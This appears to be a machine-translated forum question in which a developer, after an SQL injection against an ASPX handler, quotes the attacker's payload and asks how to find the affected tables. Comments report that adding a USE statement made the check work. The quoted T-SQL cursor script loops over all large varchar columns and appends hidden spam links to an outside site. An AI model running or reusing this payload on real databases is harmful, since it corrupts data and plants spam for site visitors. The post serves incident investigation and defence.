В последнее время мы обнаружили, что один из наших обработчиков aspx был нацелен на SQL-инъекцию. То, что сделало возможным, было тем фактом, что мы взяли подстроку url, начинающуюся с индекса X до конца строки url, а затем сопоставили ее с записями в базе данных, которые облегчали для нападавших.Найти таблицы, затронутые SQL-инъекцией
Вот пример инъекции они выступали:
;declare @c cursor;
declare @d varchar(4000);
set @c=cursor
for select
'update ['+TABLE_NAME+']
set ['+COLUMN_NAME+']=['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%7
when 0 then ''''+char(60)+''div style="display:none"''+char(62)
+''are abortions safe ''
+char(60)+''a href="http:''+char(47)+char(47)
+''www.ooblong.com''+char(47)+''blog''+char(47)
+''template''+char(47)+''page''+char(47)+''abortion-clinics-nyc.aspx"''
+char(62)+case ABS(CHECKSUM(NewId()))%3
when 0 then ''reasons against abortion''
when 1 then ''pregnant abortion''
else ''pill for pregnancy termination'' end
+char(60)+char(47)+''a''+char(62)+'' how much does a abortion cost''
+char(60)+char(47)+''div''+char(62)+'''' else '''' end'
FROM sysindexes AS i
INNER JOIN sysobjects AS o
ON i.id=o.id
INNER JOIN INFORMATION_SCHEMA.COLUMNS
ON o.NAME=TABLE_NAME
WHERE(indid=0 or indid=1)
and DATA_TYPE like '%varchar'
and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);
open @c;
fetch next from @c into @d;
while @@FETCH_STATUS=0
begin exec (@d);
fetch next from @c into @d;
end;
close @c--
Мы уже обеспечили наши обработчик Aspx отказаться от этих видов запросов. Теперь мы хотели бы узнать, какие таблицы были затронуты этой атакой. Мы обнаружили, что затронуты не менее 2 таблиц, но мы боимся, что может быть больше. Как мы можем перепроектировать вышеуказанный SQL, чтобы узнать, в каких таблицах это повлияло?
Уже пробовал, что он вернул 0 строк. Нападавшие запускали много запросов, возможно, не все из них были успешными. Я попытаюсь найти больше случаев атаки. –
Ничего, я просто должен был включить следующее, прежде чем запускать сценарий, и я получил правильные таблицы. Кажется в соответствии с таблицами, которые мы видели, уже затронуты; ИСПОЛЬЗОВАТЬ DATABASE_NAME; –